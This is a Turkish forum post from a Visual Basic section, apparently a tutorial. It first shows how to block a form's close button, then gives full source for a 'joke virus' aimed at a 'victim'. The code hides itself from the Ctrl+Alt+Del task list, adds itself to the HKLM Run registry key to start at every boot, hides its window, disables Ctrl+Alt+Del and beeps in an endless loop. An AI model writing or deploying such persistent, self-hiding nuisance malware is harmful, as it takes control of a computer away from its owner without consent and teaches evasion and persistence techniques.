Forum
Aktif konular
Üyeler
Kurallar
Arama
Tahribat.com Forumları 
Visual Basic - Basic - PicBasic ve Türevleri 
Formunuzun X İşaretini Nasıl Bloke Edersiniz Formunuzun X İşaretini Nasıl Bloke Edersiniz
-
programınızı çarpı işaretinden kapatamasınlar
Dim kapamalan As Boolean
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
If kapamalan = False Then Cancel = True
' Sorunlarınız İçin Holocaust@w.cn adresine mail atabilirsiniz.... The_HoloCaust_®
End Sub
Önceki makalelerimde CTRL ALT DEL Fonksiyonlarını iptal etmeyi
anlatmıştım. o fonksiyonları yeni açacağınız formun kod satırına kopyalayın
şimdi sizlere çok kolay bi şaka virüsü kodları vereyim
bu virüs kurban resete bassa bile
windows her başlağında otomatik olarak çalışacak ve
kurbanın kafasını şişirecektir :D
Private Sub Form_Load()
On Local Error Resume Next
App.TaskVisible = False 'Bu Kod ile Programınız CTRL ALT DEL Listesinde Görünmez
Dim KayitDefteri As Object ' Başlangıçta otomatik olarak çalışması için
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
Me.Hide ' Formu Gizler
kilitle ' ctrl+alt+del fonksiyonunu kapatır önceki makalemdeki CTRL ALT DEL Tuşlarını kapatma fonksiyonlarını projenize kopyalamayı unutmayın
Do While 1 = 1 'Sonsuz Döngü
Beep ' anakartı öttür
Loop
'sorularınız için holocaust@w.cn adresine mail atın...
End Sub
Kısayol
Şikayet
Özel Mesaj
Alıntı yap
Toplam Hit: 1476 Toplam Mesaj: 1
Cevapla